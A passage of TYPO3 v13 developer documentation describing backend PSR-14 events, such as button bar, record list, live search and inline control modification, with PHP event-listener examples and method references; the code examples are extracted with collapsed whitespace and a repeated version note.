// Flag the current element as not used. Set it to true, if you// want to flag it as used and hide it from the page module.
$event->setUsed(false);
}
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Listeners to this event are able to define whether a file can be selected in the file browser
getFile()
Returns
\TYPO3\CMS\Core\Resource\FileInterface
isFileSelectable()
Returns
bool
allowFileSelection()
denyFileSelection()
ModifyAllowedItemsEvent
The PSR-14 event
\TYPO3\CMS\Backend\Controller\Event\ModifyAllowedItemsEvent
allows extension authors to add or remove from the list of allowed link
types.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
This event allows extensions to add or remove from the list of allowed link types.
getAllowedItems()
Returns
string[]
addAllowedItem(string $item)
param $item
the item
Returns
self
removeAllowedItem(string $new)
param $new
the new
Returns
self
getCurrentLinkParts()
Returns
array<string,mixed>
ModifyButtonBarEvent
The PSR-14 event
\TYPO3\CMS\Backend\Template\Components\ModifyButtonBarEvent
can be used to modify the button bar in the TYPO3 backend module
docheader.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Backend\EventListener;
useTYPO3\CMS\Backend\Template\Components\ModifyButtonBarEvent;
useTYPO3\CMS\Core\Attribute\AsEventListener;
#[AsEventListener(
identifier: 'my-extension/backend/modify-button-bar',
)]
final readonly classMyEventListener{
publicfunction__invoke(ModifyButtonBarEvent $event): void{
// Do your magic here
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Listeners can modify the buttons of the button bar in the backend module docheader
getButtons()
Returns
\Buttons
setButtons(array $buttons)
param $buttons
the buttons
getButtonBar()
Returns
\TYPO3\CMS\Backend\Template\Components\ButtonBar
ModifyClearCacheActionsEvent
The PSR-14 event
\TYPO3\CMS\Backend\Backend\Event\ModifyClearCacheActionsEvent
is fired in the
\TYPO3\CMS\Backend\Backend\ToolbarItems\ClearCacheToolbarItem
class and allows extension authors to modify the clear cache actions, shown
in the TYPO3 backend top toolbar.
The event can be used to change or remove existing clear cache
actions, as well as to add new actions. Therefore, the event also
contains, next to the usual "getter" and "setter" methods, the convenience
method
add() for the
cacheActions and
cacheActionIdentifiers arrays.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Backend\EventListener;
useTYPO3\CMS\Backend\Backend\Event\ModifyClearCacheActionsEvent;
useTYPO3\CMS\Core\Attribute\AsEventListener;
#[AsEventListener(
identifier: 'my-extension/toolbar/my-event-listener',
)]
final readonly classMyEventListener{
publicfunction__invoke(ModifyClearCacheActionsEvent $event): void{
// do magic here
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The cache action array element consists of the following keys and values:
Use the PSR-14 event
\TYPO3\CMS\Backend\View\Event\ModifyDatabaseQueryForContentEvent
to filter out certain content elements from being shown in the
Page module.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Backend\EventListener;
useTYPO3\CMS\Backend\View\Event\ModifyDatabaseQueryForContentEvent;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Database\Connection;
#[AsEventListener(
identifier: 'my-extension/backend/modify-database-query-for-content',
)]
final readonly classMyEventListener{
publicfunction__invoke(ModifyDatabaseQueryForContentEvent $event): void{
// Early return if we do not need to reactif ($event->getTable() !== 'tt_content') {
return;
}
// Retrieve QueryBuilder instance from event
$queryBuilder = $event->getQueryBuilder();
// Add an additional condition to the QueryBuilder for the table// Note: This is only a example, modify the QueryBuilder instance// here to your needs.
$queryBuilder = $queryBuilder->andWhere(
$queryBuilder->expr()->neq(
'some_field',
$queryBuilder->createNamedParameter(1, Connection::PARAM_INT),
),
);
// Set updated QueryBuilder to event
$event->setQueryBuilder($queryBuilder);
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PSR-14 event
\TYPO3\CMS\Backend\View\Event\ModifyDatabaseQueryForRecordListingEvent
allows to alter the query builder SQL
statement before a list of records is rendered in record lists, such as
the List module or an element browser.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PSR-14 event
\TYPO3\CMS\Backend\Form\Event\ModifyEditFormUserAccessEvent\ModifyEditFormUserAccessEvent
provides the full database row of the record in question next to the
exception, which might have been set by the Core. Additionally, the event allows
to modify the user access decision in an object-oriented way, using
convenience methods.
In case any listener to the new event denies user access, while it was initially
allowed by Core, the
\TYPO3\CMS\Backend\Form\Exception\AccessDeniedListenerException
will be thrown.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Backend\EventListener;
useTYPO3\CMS\Backend\Form\Event\ModifyEditFormUserAccessEvent;
useTYPO3\CMS\Core\Attribute\AsEventListener;
#[AsEventListener(
identifier: 'my-extension/backend/modify-edit-form-user-access',
)]
final readonly classMyEventListener{
publicfunction__invoke(ModifyEditFormUserAccessEvent $event): void{
// Deny access for creating records of a custom tableif ($event->getTableName() === 'tx_myext_domain_model_mytable' && $event->getCommand() === 'new') {
$event->denyUserAccess();
}
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Listeners to the PSR-14 event
\TYPO3\CMS\Backend\Form\Event\ModifyFileReferenceControlsEvent
are able to modify the controls of a single file reference of a TCA type
file field. This event is similar to the
ModifyInlineElementControlsEvent, which is only available for TCA
type inline.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
Listeners to this Event will be able to modify the controls
of a single file reference of a TCA type=file field.
getControls()
Returns all controls with their markup
Returns
array
setControls(array $controls)
Overwrite the controls
param $controls
the controls
getControl(string $identifier)
Returns the markup for the requested control
param $identifier
the identifier
Returns
string
setControl(string $identifier, string $markup)
Set a control with the given identifier and markup
IMPORTANT: Overwrites an existing control with the same identifier
param $identifier
the identifier
param $markup
the markup
hasControl(string $identifier)
Returns whether a control exists for the given identifier
param $identifier
the identifier
Returns
bool
removeControl(string $identifier)
Removes a control from the file reference, if it exists
param $identifier
the identifier
Return description
Whether the control could be removed
Returns
bool
getElementData()
Returns the whole element data
Returns
array
getRecord()
Returns the current record, the controls are created for
Returns
array
getParentUid()
Returns the uid of the parent (embedding) record (uid or NEW...)
Returns
string
getForeignTable()
Returns the table (foreign_table) the controls are created for
Returns
string
getFieldConfiguration()
Returns the TCA configuration of the TCA type=file field
Returns
array
isVirtual()
Returns whether the current records is only virtually shown and not physically part of the parent record
Returns
bool
ModifyFileReferenceEnabledControlsEvent
Listeners to the PSR-14 event
\TYPO3\CMS\Backend\Form\Event\ModifyFileReferenceEnabledControlsEvent
are able to modify the state (enabled or disabled) for the controls of a single
file reference of a TCA type file field. This
event is similar to the ModifyInlineElementEnabledControlsEvent, which
is only available for TCA type inline.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
Listeners to this Event will be able to modify the state (enabled or disabled) for controls of a file reference
enableControl(string $identifier)
Enable a control, if it exists
param $identifier
the identifier
Return description
Whether the control could be enabled
Returns
bool
disableControl(string $identifier)
Disable a control, if it exists
param $identifier
the identifier
Return description
Whether the control could be disabled
Returns
bool
hasControl(string $identifier)
Returns whether a control exists for the given identifier
param $identifier
the identifier
Returns
bool
isControlEnabled(string $identifier)
Returns whether the control is enabled.
Note: Will also return FALSE in case no control exists for the requested identifier
param $identifier
the identifier
Returns
bool
getControlsState()
Returns all controls with their state (enabled or disabled)
Returns
array
getEnabledControls()
Returns all enabled controls
Returns
array
getElementData()
Returns the whole element data
Returns
array
getRecord()
Returns the current record of the controls are created for
Returns
array
getParentUid()
Returns the uid of the parent (embedding) record (uid or NEW...)
Returns
string
getForeignTable()
Returns the table (foreign_table) the controls are created for
Returns
string
getFieldConfiguration()
Returns the TCA configuration of the TCA type=file field
Returns
array
isVirtual()
Returns whether the current records is only virtually shown and not physically part of the parent record
Returns
bool
ModifyGenericBackendMessagesEvent
The PSR-14 event
\TYPO3\CMS\Backend\Controller\Event\ModifyGenericBackendMessagesEvent
allows to add or alter messages that are displayed in the About
module (default start module of the TYPO3 backend).
Extensions such as the EXT:reports system extension
use this event to display custom messages based on the system status:
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PSR-14 event
\TYPO3\CMS\Backend\Form\Event\ModifyImageManipulationPreviewUrlEvent
can be used to modify the preview URL within the
image manipulation element, used
for example for the
crop field of the
sys_file_reference table.
As soon as a preview URL is set, the image manipulation element will display
a corresponding button in the footer of the modal window, next to the
Cancel and Accept buttons. On click, the preview
URL will be opened in a new window.
Note
The element's crop variants will always be appended to the preview URL
as JSON-encoded string, using the cropVariants parameter.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Listeners to this Event will be able to modify the preview url, used in the ImageManipulation element
getDatabaseRow()
Returns
array
getFieldConfiguration()
Returns
array
getFile()
Returns
\TYPO3\CMS\Core\Resource\File
getPreviewUrl()
Returns
string
setPreviewUrl(string $previewUrl)
param $previewUrl
the previewUrl
ModifyInlineElementControlsEvent
The PSR-14 event
\TYPO3\CMS\Backend\Form\Event\ModifyInlineElementControlsEvent
is called after the markup for all enabled controls has been generated. It
can be used to either change the markup of a control, to add a new control
or to completely remove a control.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Backend\EventListener;
useTYPO3\CMS\Backend\Form\Event\ModifyInlineElementControlsEvent;
useTYPO3\CMS\Backend\Form\Event\ModifyInlineElementEnabledControlsEvent;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Imaging\IconFactory;
useTYPO3\CMS\Core\Imaging\IconSize;
useTYPO3\CMS\Core\Utility\GeneralUtility;
#[AsEventListener(
identifier: 'my-extension/backend/modify-enabled-controls',
method: 'modifyEnabledControls',
)]
#[AsEventListener(
identifier: 'my-extension/backend/modify-controls',
method: 'modifyControls',
)]
final readonly classMyEventListener{
publicfunctionmodifyEnabledControls(ModifyInlineElementEnabledControlsEvent $event): void{
// Enable a control depending on the foreign tableif ($event->getForeignTable() === 'sys_file_reference' && $event->isControlEnabled('sort')) {
$event->enableControl('sort');
}
}
publicfunctionmodifyControls(ModifyInlineElementControlsEvent $event): void{
// Add a custom control depending on the parent tableif ($event->getElementData()['inlineParentTableName'] === 'tt_content') {
$iconFactory = GeneralUtility::makeInstance(IconFactory::class);
$event->setControl(
'tx_my_control',
'<a href="/some/url" class="btn btn-default t3js-modal-trigger">'
. $iconFactory->getIcon('my-icon-identifier', IconSize::SMALL)->render()
. '</a>',
);
}
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Listeners to this Event will be able to modify the controls of an inline element
getControls()
Returns all controls with their markup
Returns
array
setControls(array $controls)
Overwrite the controls
param $controls
the controls
getControl(string $identifier)
Returns the markup for the requested control
param $identifier
the identifier
Returns
string
setControl(string $identifier, string $markup)
Set a control with the given identifier and markup
IMPORTANT: Overwrites an existing control with the same identifier
param $identifier
the identifier
param $markup
the markup
hasControl(string $identifier)
Returns whether a control exists for the given identifier
param $identifier
the identifier
Returns
bool
removeControl(string $identifier)
Removes a control from the inline element, if it exists
param $identifier
the identifier
Return description
Whether the control could be removed
Returns
bool
getElementData()
Returns the whole element data
Returns
array
getRecord()
Returns the current record of the controls are created for
Returns
array
getParentUid()
Returns the uid of the parent (embedding) record (uid or NEW...)
Returns
string
getForeignTable()
Returns the table (foreign_table) the controls are created for
Returns
string
getFieldConfiguration()
Returns the TCA configuration of the inline record field
Returns
array
isVirtual()
Returns whether the current records is only virtually shown and not physically part of the parent record
Returns
bool
ModifyInlineElementEnabledControlsEvent
The PSR-14 event
\TYPO3\CMS\Backend\Form\Event\ModifyInlineElementEnabledControlsEvent
is called before any control markup is generated. It can be used to
enable or disable each control. With this event it is therefore possible
to enable a control, which is disabled in TCA, only for some use case.
Listeners to this Event will be able to modify the state (enabled or disabled) for controls of an inline element
enableControl(string $identifier)
Enable a control, if it exists
param $identifier
the identifier
Return description
Whether the control could be enabled
Returns
bool
disableControl(string $identifier)
Disable a control, if it exists
param $identifier
the identifier
Return description
Whether the control could be disabled
Returns
bool
hasControl(string $identifier)
Returns whether a control exists for the given identifier
param $identifier
the identifier
Returns
bool
isControlEnabled(string $identifier)
Returns whether the control is enabled.
Note: Will also return FALSE in case no control exists for the requested identifier
param $identifier
the identifier
Returns
bool
getControlsState()
Returns all controls with their state (enabled or disabled)
Returns
array
getEnabledControls()
Returns all enabled controls
Returns
array
getElementData()
Returns the whole element data
Returns
array
getRecord()
Returns the current record of the controls are created for
Returns
array
getParentUid()
Returns the uid of the parent (embedding) record (uid or NEW...)
Returns
string
getForeignTable()
Returns the table (foreign_table) the controls are created for
Returns
string
getFieldConfiguration()
Returns the TCA configuration of the inline record field
Returns
array
isVirtual()
Returns whether the current records is only virtually shown and not physically part of the parent record
Returns
bool
ModifyLinkExplanationEvent
While the removed hook effectively only allowed to modify the link explanation
of TCA link fields in case the resolved link type did not already match
one of those, implemented by TYPO3 itself, the new event allows to
always modify the link explanation of any type. Additionally, this also allows
to modify the additionalAttributes, displayed below the actual link
explanation field. This is especially useful for extended link handler setups.
To modify the link explanation, the following methods are available:
getLinkExplanation(): Returns the current link explanation data
setLinkExplanation(): Set the link explanation data
getLinkExplanationValue(): Returns a specific link explanation value
setLinkExplanationValue(): Sets a specific link explanation value
The link explanation array usually contains the following values:
text : The text to show in the link explanation field
icon: The markup for the icon, displayed in front of the link explanation field
additionalAttributes: The markup for additional attributes, displayed below the link explanation field
The current context can be evaluated using the following methods:
getLinkData(): Returns the resolved link data, such as the page uid
getLinkParts(): Returns the resolved link parts, such as url, target and additionalParams
getElementData(): Returns the full FormEngine $data array for the current element
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Backend\EventListener;
useTYPO3\CMS\Backend\Form\Event\ModifyLinkExplanationEvent;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Imaging\IconFactory;
useTYPO3\CMS\Core\Imaging\IconSize;
#[AsEventListener(
identifier: 'my-extension/backend/modify-link-explanation',
)]
final readonly classMyEventListener{
publicfunction__construct(
private IconFactory $iconFactory,
){}
publicfunction__invoke(ModifyLinkExplanationEvent $event): void{
// Use a custom icon for a custom link typeif ($event->getLinkData()['type'] === 'myCustomLinkType') {
$event->setLinkExplanationValue(
'icon',
$this->iconFactory->getIcon(
'my-custom-link-icon',
IconSize::SMALL,
)->render(),
);
}
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PSR-14 event
\TYPO3\CMS\Backend\Controller\Event\ModifyLinkHandlersEvent
is triggered before link handlers are executed, allowing listeners
to modify the set of handlers that will be used.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
This event allows extensions to modify the list of link handlers and their configuration before they are invoked.
getLinkHandlers()
Returns
array<string,array>
getLinkHandler(string $name)
Gets an individual handler by name.
param $name
The handler name, including trailing period.
Return description
The handler definition, or null if not defined.
Returns
array<string,mixed>|null
setLinkHandler(string $name, array $handler)
Sets a handler by name, overwriting it if it already exists.
param $name
The handler name, including trailing period.
param $handler
the handler
Returns
$this
getCurrentLinkParts()
Returns
array<string,mixed>
ModifyNewContentElementWizardItemsEvent
The PSR-14 event
\TYPO3\CMS\Backend\Controller\Event\ModifyNewContentElementWizardItemsEvent
is called after TYPO3 has already prepared the wizard items,
defined in page TSconfig (mod.wizards.newContentElement.wizardItems).
The event allows listeners to modify any available wizard item as well
as adding new ones. It is therefore possible for the listeners to, for example,
change the configuration, the position or to remove existing items altogether.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Backend\EventListener;
useTYPO3\CMS\Backend\Controller\Event\ModifyPageLayoutContentEvent;
useTYPO3\CMS\Core\Attribute\AsEventListener;
#[AsEventListener(
identifier: 'my-extension/backend/modify-page-module-content',
)]
final readonly classMyEventListener{
publicfunction__invoke(ModifyPageLayoutContentEvent $event): void{
// Get the current page ID
$id = (int)($event->getRequest()->getQueryParams()['id'] ?? 0);
$event->addHeaderContent('Additional header content');
$event->setFooterContent('Overwrite footer content');
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Listeners to this Event will be able to modify the header and footer content of the page module
getRequest()
Returns
\Psr\Http\Message\ServerRequestInterface
getModuleTemplate()
Returns
\TYPO3\CMS\Backend\Template\ModuleTemplate
setHeaderContent(string $content)
Set content for the header. Can also be used to e.g. reorder existing content.
IMPORTANT: This overwrites existing content from previous listeners!
param $content
the content
addHeaderContent(string $content)
Add additional content to the header
param $content
the content
getHeaderContent()
Returns
string
setFooterContent(string $content)
Set content for the footer. Can also be used to e.g. reorder existing content.
IMPORTANT: This overwrites existing content from previous listeners!
param $content
the content
addFooterContent(string $content)
Add additional content to the footer
param $content
the content
getFooterContent()
Returns
string
ModifyPageLayoutOnLoginProviderSelectionEvent
The PSR-14 event
\TYPO3\CMS\Backend\LoginProvider\Event\ModifyPageLayoutOnLoginProviderSelectionEvent
allows to modify variables for the view depending on a special login provider
set in the controller.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
Allows to modify variables for the view depending on a special login provider set in the controller.
getView()
Returns
\TYPO3\CMS\Core\View\ViewInterface
getRequest()
Returns
\Psr\Http\Message\ServerRequestInterface
ModifyQueryForLiveSearchEvent
The PSR-14 event
\TYPO3\CMS\Backend\Search\Event\ModifyQueryForLiveSearchEvent
can be used to modify the live search queries in the backend.
This can be used to adjust the limit for a specific table or to change the
result order.
This event is fired in the
\TYPO3\CMS\Backend\Search\LiveSearch\LiveSearch class
and allows extensions to modify the query builder
instance before execution.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Backend\EventListener;
useTYPO3\CMS\Backend\Search\Event\ModifyQueryForLiveSearchEvent;
useTYPO3\CMS\Core\Attribute\AsEventListener;
#[AsEventListener(
identifier: 'my-extension/modify-query-for-live-search-event-listener',
)]
final readonly classMyEventListener{
publicfunction__invoke(ModifyQueryForLiveSearchEvent $event): void{
// Get the current instance
$queryBuilder = $event->getQueryBuilder();
// Change limit depending on the tableif ($event->getTableName() === 'pages') {
$queryBuilder->setMaxResults(2);
}
// Reset the orderBy part
$queryBuilder->resetQueryPart('orderBy');
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
PSR-14 event to modify the query builder instance for the live search
getQueryBuilder()
Returns
\TYPO3\CMS\Core\Database\Query\QueryBuilder
getTableName()
Returns
string
ModifyRecordListHeaderColumnsEvent
The PSR-14 event
\TYPO3\CMS\Backend\RecordList\Event\ModifyRecordListHeaderColumnsEvent
allows to modify the header columns for a table in the record list.
Add a new column or override an existing one. Latter is only possible,
in case $columnName is given. Otherwise, the column will be added with
a numeric index, which is generally not recommended.
Note: Due to the behaviour of DatabaseRecordList, just adding a column
does not mean that it is also displayed. The internal $fieldArray needs
to be adjusted as well. This method only adds the column to the data array.
Therefore, this method should mainly be used to edit existing columns, e.g.
change their label.
param $column
the column
param $columnName
the columnName, default: ''
hasColumn(string $columnName)
Whether the column exists
param $columnName
the columnName
Returns
bool
getColumn(string $columnName)
Get column by its name
param $columnName
the columnName
Return description
The column or NULL if the column does not exist
Returns
string|null
removeColumn(string $columnName)
Remove column by its name
param $columnName
the columnName
Return description
Whether the column could be removed - Will thereforereturn FALSE if the column to remove does not exist.
Returns
bool
setColumns(array $columns)
param $columns
the columns
getColumns()
Returns
array
setHeaderAttributes(array $headerAttributes)
param $headerAttributes
the headerAttributes
getHeaderAttributes()
Returns
array
getTable()
Returns
string
getRecordIds()
Returns
array
getRecordList()
Returns the current DatabaseRecordList instance.
Returns
\TYPO3\CMS\Backend\RecordList\DatabaseRecordList
ModifyRecordListRecordActionsEvent
The PSR-14 event
\TYPO3\CMS\Backend\RecordList\Event\ModifyRecordListRecordActionsEvent
allows to modify the displayed record actions (for example
edit, copy, delete) for a table in
the record list.
Add a new action or override an existing one. Latter is only possible,
in case $columnName is given. Otherwise, the column will be added with
a numeric index, which is generally not recommended. It's also possible
to define the position of an action with either the "before" or "after"
argument, while their value must be an existing action.
Note: In case non or an invalid $group is provided, the new action will
be added to the secondary group.
param $action
the action
param $actionName
the actionName, default: ''
param $group
the group, default: ''
param $before
the before, default: ''
param $after
the after, default: ''
hasAction(string $actionName, string $group = '')
Whether the action exists in the given group. In case non or
an invalid $group is provided, both groups will be checked.
param $actionName
the actionName
param $group
the group, default: ''
Returns
bool
getAction(string $actionName, string $group = '')
Get action by its name. In case the action exists in both groups
and non or an invalid $group is provided, the action from the
"primary" group will be returned.
Remove action by its name. In case the action exists in both groups
and non or an invalid $group is provided, the action will be removed
from both groups.
param $actionName
the actionName
param $group
the group, default: ''
Return description
Whether the action could be removed - Will thereforereturn FALSE if the action to remove does not exist.
Returns
bool
getActionGroup(string $group)
Get the actions of a specific group
param $group
the group
Returns
?array
setActions(array $actions)
param $actions
the actions
getActions()
Returns
array
getTable()
Returns
string
getRecord()
Returns
array
getRecordList()
Returns the current DatabaseRecordList instance.
Returns
\TYPO3\CMS\Backend\RecordList\DatabaseRecordList
ModifyRecordListTableActionsEvent
The PSR-14 event
\TYPO3\CMS\Backend\RecordList\Event\ModifyRecordListTableActionsEvent
allows to modify the multi record selection actions (for example
edit, copy to clipboard) for a table in the record list.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Backend\EventListener;
usePsr\Log\LoggerInterface;
useTYPO3\CMS\Backend\RecordList\Event\ModifyRecordListHeaderColumnsEvent;
useTYPO3\CMS\Backend\RecordList\Event\ModifyRecordListRecordActionsEvent;
useTYPO3\CMS\Backend\RecordList\Event\ModifyRecordListTableActionsEvent;
useTYPO3\CMS\Core\Attribute\AsEventListener;
#[AsEventListener(
identifier: 'my-extension/recordlist/my-event-listener',
method: 'modifyRecordActions',
)]
#[AsEventListener(
identifier: 'my-extension/recordlist/my-event-listener',
method: 'modifyHeaderColumns',
)]
#[AsEventListener(
identifier: 'my-extension/recordlist/my-event-listener',
method: 'modifyTableActions',
)]
final readonly classMyEventListener{
publicfunction__construct(
private LoggerInterface $logger,
){}
publicfunctionmodifyRecordActions(ModifyRecordListRecordActionsEvent $event): void{
$currentTable = $event->getTable();
// Add a custom action for a custom table in the secondary action bar, before the "move" actionif ($currentTable === 'my_custom_table' && !$event->hasAction('myAction')) {
$event->setAction(
'<button>My Action</button>',
'myAction',
'secondary',
'move',
);
}
// Remove the "viewBig" action in case more than 4 actions exist in the groupif (count($event->getActionGroup('secondary')) > 4 && $event->hasAction('viewBig')) {
$event->removeAction('viewBig');
}
// Move the "delete" action after the "edit" action
$event->setAction('', 'delete', 'primary', '', 'edit');
}
publicfunctionmodifyHeaderColumns(ModifyRecordListHeaderColumnsEvent $event): void{
// Change label of "control" column
$event->setColumn('Custom Controls', '_CONTROL_');
// Add a custom class for the table header row
$event->setHeaderAttributes(['class' => 'my-custom-class']);
}
publicfunctionmodifyTableActions(ModifyRecordListTableActionsEvent $event): void{
// Remove "edit" action and log, if this failed
$actionRemoved = $event->removeAction('unknown');
if (!$actionRemoved) {
$this->logger->warning('Action "unknown" could not be removed');
}
// Add a custom clipboard action after "copyMarked"
$event->setAction('<button>My action</button>', 'myAction', '', 'copyMarked');
// Set a custom label for the case, no actions are available for the user
$event->setNoActionLabel('No actions available due to missing permissions.');
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Add a new action or override an existing one. Latter is only possible,
in case $actionName is given. Otherwise, the action will be added with
a numeric index, which is generally not recommended. It's also possible
to define the position of an action with either the "before" or "after"
argument, while their value must be an existing action.
param $action
the action
param $actionName
the actionName, default: ''
param $before
the before, default: ''
param $after
the after, default: ''
hasAction(string $actionName)
Whether the action exists
param $actionName
the actionName
Returns
bool
getAction(string $actionName)
Get action by its name
param $actionName
the actionName
Return description
The action or NULL if the action does not exist
Returns
string|null
removeAction(string $actionName)
Remove action by its name
param $actionName
the actionName
Return description
Whether the action could be removed - Will thereforereturn FALSE if the action to remove does not exist.
Returns
bool
setActions(array $actions)
param $actions
the actions
getActions()
Returns
array
setNoActionLabel(string $noActionLabel)
param $noActionLabel
the noActionLabel
getNoActionLabel()
Get the label, which will be displayed, in case no
action is available for the current user. Note: If
this returns an empty string, this only means that
no other listener set a label before. TYPO3 will
always fall back to a default if this remains empty.
Returns
string
getTable()
Returns
string
getRecordIds()
Returns
array
getRecordList()
Returns the current DatabaseRecordList instance.
Returns
\TYPO3\CMS\Backend\RecordList\DatabaseRecordList
ModifyResultItemInLiveSearchEvent
The PSR-14 event
\TYPO3\CMS\Backend\Search\Event\ModifyResultItemInLiveSearchEvent
allows extension developers to take control over search result
items rendered in the backend search.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Backend\EventListener;
useTYPO3\CMS\Backend\Routing\UriBuilder;
useTYPO3\CMS\Backend\Search\Event\ModifyResultItemInLiveSearchEvent;
useTYPO3\CMS\Backend\Search\LiveSearch\DatabaseRecordProvider;
useTYPO3\CMS\Backend\Search\LiveSearch\ResultItemAction;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Imaging\IconFactory;
useTYPO3\CMS\Core\Imaging\IconSize;
useTYPO3\CMS\Core\Localization\LanguageService;
useTYPO3\CMS\Core\Localization\LanguageServiceFactory;
#[AsEventListener(
identifier: 'my-extension/add-live-search-result-actions-listener',
)]
final readonly classMyEventListener{
private LanguageService $languageService;
publicfunction__construct(
private IconFactory $iconFactory,
LanguageServiceFactory $languageServiceFactory,
private UriBuilder $uriBuilder,
){
$this->languageService = $languageServiceFactory->createFromUserPreferences($GLOBALS['BE_USER']);
}
publicfunction__invoke(ModifyResultItemInLiveSearchEvent $event): void{
$resultItem = $event->getResultItem();
if ($resultItem->getProviderClassName() !== DatabaseRecordProvider::class) {
return;
}
if (($resultItem->getExtraData()['table'] ?? null) === 'tt_content') {
/**
